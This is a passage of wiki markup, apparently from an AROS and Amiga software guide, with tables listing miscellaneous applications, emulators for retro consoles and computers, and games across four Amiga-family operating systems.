|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Screen Display Blanker screensaver 
|&lt;!--AROS--&gt;Blanker Commodity (built in), [https://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/screenblanker GarshneBlanker], [http://sourceforge.net/projects/gblanker/ GBlanker Src], [], 
|&lt;!--Amiga OS--&gt;MultiCX, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;ModernArt Blanker, 
|-
|&lt;!--Sub Menu--&gt;Fortune Cookie Quotes Sayings 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/misc AFortune], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}


==Misc Application 4==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Misc Application
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1(68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;Fractals mandelbrot, etc 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/misc], 
|&lt;!--Amiga OS--&gt;ZoneXplorer, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Landscape Rendering 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/raytrace WCS World Construction Set], 
|&lt;!--Amiga OS--&gt;[ Vista Pro], [http://en.wikipedia.org/wiki/World_Construction_Set World Construction Set]
|&lt;!--AmigaOS4--&gt;[ WCS World Construction Set],
|&lt;!--MorphOS--&gt;[ WCS World Construction Set],
|-
|&lt;!--Sub Menu--&gt;Astronomy [https://sourceforge.net/projects/skychart/ skychart freepascal], [], [], 
|&lt;!--AROS--&gt;[ Digital Almanac (ABIv0 only)], 
|&lt;!--Amiga OS--&gt;[http://aminet.net/search?query=planetarium Aminet search], [http://aminet.net/misc/sci/DA3V56ISO.zip Digital Almanac], [https://aminet.net/package/misc/sci/da3sourceV58 Src c V58], [ Galileo renamed to Distant Suns]*, [], 
|&lt;!--AmigaOS4--&gt;[http://sourceforge.net/projects/digital-almanac/ Digital Almanac], Distant Suns*, [http://www.digitaluniverse.org.uk/ Digital Universe]*,
|&lt;!--MorphOS--&gt;[http://www.aminet.net/misc/sci/da3.lha Digital Almanac], [http://www.aminet.net/package/misc/sci/da3-mos-src Src c V56], 
|-
|&lt;!--Sub Menu--&gt;Astrology [https://sourceforge.net/projects/skylendar/ skylendar], [https://github.com/CruiserOne/Astrolog Astrolog], [https://www.astrolog.org/astrolog/astfile.htm Astrology alt site], [https://saravali.github.io/download.html Maitreya], [https://github.com/alamahant/Asteria Asteria], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Genealogy History Family Tree Ancestry Records (FreeBMD, FreeREG, and FreeCEN file formats or GEDCOM GenTree)
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; [ Origins], [ Your Family Tree], [ ], [ ], [ ], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Languages 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;Fun School, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;https://github.com/evil4dmin/ami2ha
|-
|&lt;!--Sub Menu--&gt;Mathematics ([http://www-fourier.ujf-grenoble.fr/~parisse/install_en.html Xcas], etc.), 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/scientific mathX] 
|&lt;!--Amiga OS--&gt;Maple V, mathX, Fun School, GCSE Maths, [ ], [ ], [ ], 
|&lt;!--AmigaOS4--&gt;Yacas 
|&lt;!--MorphOS--&gt;Yacas 
|-
|&lt;!--Sub Menu--&gt;Maths Graph Function Plotting
|&lt;!--AROS--&gt;[https://blog.alb42.de/programs/#MUIPlot MUIPlot], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;App Utility Launcher Dock toolbar  
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/docky BoingBar], [], 
|&lt;!--Amiga OS--&gt;[https://github.com/adkennan/DockBot Dockbot],
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;3D Printer [https://github.com/OrcaSlicer/OrcaSlicer OrcaSlicer]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;PCB design
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;[ ], [ ], [ ], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Digital Signage
|&lt;!--AROS--&gt;Hollywood, Hollywood Designer 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;HAM radio, amateur radio, packet radio,  [], [], [], [https://cemaxecuter.com/ Dragon OS], [https://github.com/km4ack/73Linux with 73 link update], [https://www.youtube.com/watch?v=YAL5KNePRSg video for], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[https://github.com/punktniklas/NiKom NiKom], [https://www.amigarealm.com/amiga/amicomms/comm4.htm Comm4], [https://www.amigarealm.com/archives/comms/aarug/ TNC Terminal Node Controller with packets over serial connections on Yaesu or Woxum handheld], [https://aminet.net/comm/misc AmiCom], [ with 7Plus file encoder/decoder], [ mksstv], [ RTTYam], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;modern smart-home network like Home Assistant Automation Yellow, Green, Mosquitto, EMQX,  
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[https://github.com/evil4dmin/ami2ha HA], [https://github.com/sidick/midge mtqq.lib], [https://aminet.net/package/comm/tcp/AmiHomeassist-0.7 AmiHomeassist], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Teaching classroom learning training [https://github.com/moodle/moodle moodle], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.


==Games &amp; Emulation==

Some emulators/games require OpenGL to function and to adjust ahi prefs channels, frequency and unit0 and unit1 and 
[http://aros.sourceforge.net/documentation/users/shell/changetaskpri.php changetaskpri -1]

Rom patching  https://www.marcrobledo.com/RomPatcher.js/ https://www.romhacking.net/patch/ (ips, ups, bps, etc) and this other site supports the latter formats https://hack64.net/tools/patcher.php 

Free public domain roms for use with emulators can be found [http://www.pdroms.de/ here] as most of the rest are covered by copyright rules. If you like to read about old games see [http://retrogamingtimes.com/ here] and [http://www.armchairarcade.com/neo/ here] and a [http://www.vintagecomputing.com/ blog] about old computers. Possibly some of the [http://www.answers.com/topic/list-of-best-selling-computer-and-video-games best selling] of all time. [http://en.wikipedia.org/wiki/List_of_computer_system_emulators Wiki] with emulated systems list.

[https://archive.gamehistory.org/ Archive of VGHF], [https://library.gamehistory.org/ Video Game History Foundation Library search]


{|  class=&quot;wikitable sortable&quot; 
|- 
!width:10%;|Games [http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer Emulation]
!width:10%;|AROS(x86)
!width:10%;|AmigaOS3(68k)
!width:10%;|AmigaOS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;Games Emulation Amstrad CPC 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer], [ Caprice32 (OpenGL &amp; pure SDL)], [ Arnold], [https://retroshowcase.gr/cpcbox-master/], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://os4depot.net/index.php?function=browse&amp;cat=emulation/computer]
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=2], 
|-
|&lt;!--Sub Menu--&gt;Games Emulation Apple2 and 2GS
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Arcade 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem Mame], [ SI Emu (ABIv0 only)], 
|&lt;!--Amiga OS--&gt;Mame, 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem xmame], amiarcadia, 
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=2 Mame], 
|-
|&lt;!--Sub Menu--&gt;Games Emulation Atari 2600 [], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem Stella], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Atari 5200 [https://github.com/wavemotion-dave/A5200DS A5200DS], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Atari 7800
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Atari 400 800 130XL [https://github.com/wavemotion-dave/A8DS A8DS], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer Atari800], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Atari Lynx
|&lt;!--AROS--&gt;[http://myfreefilehosting.com/f/6366e11bdf_1.93MB Handy (ABIv0 only)], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Atari Jaguar
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Bandai Wonderswan 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation BBC Micro and Acorn Electron [http://beehttps://bem-unix.bbcmicro.com/download.html BeebEm], [http://b-em.bbcmicro.com/ B-Em], [http://elkulator.acornelectron.co.uk/ Elkulator], [http://electrem.emuunlim.com/ ElectrEm], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Dragon 32 and Tandy CoCo [http://www.6809.org.uk/xroar/ xroar], [], 
|&lt;!--AROS--&gt;[], [], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Commodore C16 Plus4
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Commodore C64
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer Vice (ABIv0 only)], [], 
|&lt;!--Amiga OS--&gt;Frodo, 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem viceplus], 
|&lt;!--MorphOS--&gt;Vice, 
|-
|&lt;!--Sub Menu--&gt;Games Emulation Commodore Amiga
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer Janus UAE], Emumiga, 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://os4depot.net/index.php?function=browse&amp;cat=emulation/computer UAE], 
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=2 UAE], 
|-
|&lt;!--Sub Menu--&gt;Games Emulation Japanese MSX MSX2 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Mattel Intelivision
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Mattel Colecovision and Adam
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Milton Bradley (MB) Vectrex [ Vectrex OpenGL], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation PICO8 Pico-8 fantasy video game console [https://github.com/egordorichev/pemsa-sdl/ pemsa-sdl], [https://github.com/jtothebell/fake-08 fake-08], [https://github.com/Epicpkmn11/fake-08/tree/wip fake-08 fork], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Nintendo Gameboy
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem vba no sound], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem vba]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Nintendo NES
|&lt;!--AROS--&gt;[ EmiNES], [http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem Fceu], [https://github.com/takahirox/nes-js?tab=readme-ov-file nes-js], [https://github.com/bfirsh/jsnes jsnes], [https://github.com/angelo-wf/NesJs NesJs], 
|&lt;!--Amiga OS--&gt;AmiNES, [http://www.dridus.com/~nyef/darcnes/ darcNES], 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem amines]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Nintendo SNES
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem Zsnes], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem warpsnes]
|&lt;!--MorphOS--&gt;[http://fabportnawak.free.fr/snes/ Snes9x], 
|-
|&lt;!--Sub Menu--&gt;Games Emulation Nintendo N64 
*HLE and plugins [ mupen64], [https://github.com/ares-emulator/ares ares], [https://github.com/N64Recomp/N64Recomp N64Recomp], [https://github.com/rt64/rt64 rt64], [https://github.com/simple64/simple64 Simple64], 
*LLE [], 
|&lt;!--AROS--&gt;[http://code.google.com/p/mupen64plus/ Mupen64+],
|&lt;!--Amiga OS--&gt;[http://code.google.com/p/mupen64plus/ Mupen64+], [http://aminet.net/package/misc/emu/tr-981125_src TR64], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[ Nintendo Gamecube Wii]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[ Nintendo Wii U]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[https://github.com/yuzu-emu Nintendo Switch]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation NEC PC Engine 
|&lt;!--AROS--&gt;[], [], [https://github.com/yhzmr442/jspce js-pce], 
|[http://www.hugo.fr.fm/ Hugo], [http://mednafen.sourceforge.net/ Mednafen], 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem tgemu]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sega Master System (SMS)
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem Dega], [http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem sms], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem osmose]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sega Genesis/Megadrive
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem gp no sound], [http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem DGen], 
|&lt;!--Amiga OS--&gt;[http://code.google.com/p/genplus-gx/ Genplus], 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem genesisplus]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sega Saturn 
*HLE [https://mednafen.github.io/ mednafen], [http://yabause.org/ yabause], [], 
*LLE [], [], 
|&lt;!--AROS--&gt;?
|&lt;!--Amiga OS--&gt;[http://yabause.org/ Yabause], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sega Dreamcast 
*HLE [https://github.com/flyinghead/flycast  flycast], [https://code.google.com/archive/p/nulldc/downloads NullDC], 
*LLE [], [], 
|&lt;!--AROS--&gt;?
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sinclair ZX80 and ZX81 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer], [], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sinclair Spectrum 
|[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer Fuse (crackly sound)], [http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer SimCoupe], [ FBZX slow], [https://jsspeccy.zxdemo.org/ jsspeccy], [http://torinak.com/qaop/games qaop], 
|&lt;!--Amiga OS--&gt;[http://www.lasernet.plus.com/ Asp], [http://www.zophar.net/sinclair.html Speculator], [http://www.worldofspectrum.org/x128/index.html X128], 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/computer]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sinclair QL
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer], [], 
|&lt;!--Amiga OS--&gt;[http://aminet.net/package/misc/emu/QDOS4amiga1 QDOS4amiga]
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation SNK NeoGeo Pocket
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem gngeo], NeoPop, 
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation Sony PlayStation
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/gamesystem FPSE], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem FPSE]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[ Sony PS2]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[ Sony PS3]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[https://vita3k.org/ Sony Vita]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;[https://github.com/shadps4-emu/shadPS4 PS4]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation [http://en.wikipedia.org/wiki/Tangerine_Computer_Systems Tangerine] Oric and Atmos 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer Oricutron]
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=browse&amp;cat=emulation/gamesystem Oricutron]
|&lt;!--MorphOS--&gt;[http://aminet.net/package/misc/emu/oricutron Oricutron]
|-
|&lt;!--Sub Menu--&gt;Games Emulation TI 99/4 99/4A [https://github.com/wavemotion-dave/DS994a DS994a], [], [https://js99er.net/#/ js99er], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer], 
|&lt;!--Amiga OS--&gt;[http://aminet.net/package/misc/emu/TI4Amiga TI4Amiga], [http://aminet.net/package/misc/emu/TI4Amiga_src TI4Amiga src in c], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation HP 38G 40GS 48 49G/50G Graphing Calculators
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation TI 58 83 84 85 86 - 89 92 Graphing Calculators
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

{|  class=&quot;wikitable sortable&quot; 
|- 
!width:10%;|Games [https://www.rockpapershotgun.com/ General]
!width:10%;|AROS(x86)
!width:10%;|AmigaOS3(68k)
!width:10%;|AmigaOS4(PPC)
!width:10%;|MorphOS(PPC)
|- style=&quot;background:lightgrey;{{text default color}}; text-align:center; font-weight:bold;&quot;
| Games [https://www.trackawesomelist.com/michelpereira/awesome-open-source-games/ Open Source and others] || AROS || Amiga OS || Amiga OS4 || Morphos 
|-
|&lt;!--Sub Menu--&gt;Games Action like [https://github.com/opentomb/OpenTomb opentomb], [https://github.com/LostArtefacts/TRX TRX formerly Tomb1Main], [https://github.com/TombEngine TombEngine], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/action Thrust], [https://github.com/fragglet/sdl-sopwith sdl sopwith], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/action], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/action BOH], [], 
|&lt;!--Amiga OS--&gt;[https://github.com/BSzili/OpenLara/tree/amiga/src source of openlara SDL2], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Adventure like [http://dotg.sourceforge.net/ DMJ], [https://github.com/kromenak/gengine Gabriel Knight 3], [http://www.sarien.net/ Sierra Sarien], [https://github.com/klembot/twinejs twine js], [https://github.com/QSPFoundation/qspgui Quest Soft Player QSP], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/adventure dmagnetic], [https://archives.arosworld.org/?function=browse&amp;cat=emulation/misc ScummVM], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/roleplaying frotz infocom], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Board like [https://github.com/aperture-software/colditz-escape escape from colditz], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/board], [http://amigan.1emu.net/releases Africa]
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Cards 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=game/card], [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1443&amp;rowstart=180&amp;pid=12934#post_12934 Balatro], 
|&lt;!--AmigaOS--&gt;[http://home.arcor.de/amigasolitaire/e/welcome.html Reko], [https://github.com/samskivert/beschei-en beschei Src], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Misc [https://github.com/michelpereira/awesome-open-source-games Awesome open], [https://github.com/bobeff/open-source-games General Open Source], [https://github.com/SAT-R/sa2 Sonic Advance 2], [https://github.com/velorek1/cwordle Wordle type], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/misc], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games FPS like [https://aminet.net/package/game/shoot/D1X_Rebirth_AGA Descent D1X src], [https://github.com/DescentDevelopers/Descent3 Descent 3], [https://github.com/Fewnity/Counter-Strike-Nintendo-DS Counter-Strike-Nintendo-DS], [https://github.com/Aleph-One-Marathon/alephone Bungie Marathon 1994], [https://zdoom.org/downloads UzDoom opengl 3.3], [https://github.com/ZDoom/gzdoom gzdoom opengl 3+], [https://zdoom.org/downloads LZDoom opengl 2.1], 
|&lt;!--AROS--&gt;Doom, Quake, [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Quake 3 Arena (OpenGL)], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Cube (OpenGL)], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Assault Cube (OpenGL)], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Cube 2 Sauerbraten (OpenGL)], [http://fodquake.net/test/ FodQuake QuakeWorld], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Duke Nukem 3D], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Darkplaces Nexuiz Xonotic], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Doom 3 SDL (OpenGL)], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Hexenworld and Hexen 2], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Aliens vs Predator Gold 2000 avp (openGL)], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Odamex (openGL doom)], [https://archives.arosworld.org/?function=showfile&amp;file=game/fps/ zgloom], [], [https://archives.arosworld.org/?function=showfile&amp;file=game/fps/ ab3dhd], [], 
|&lt;!--Amiga OS--&gt;Doom, Quake, AB3D, Fears, Breathless, Gloom, 
|&lt;!--AmigaOS4--&gt;Doom, Quake, 
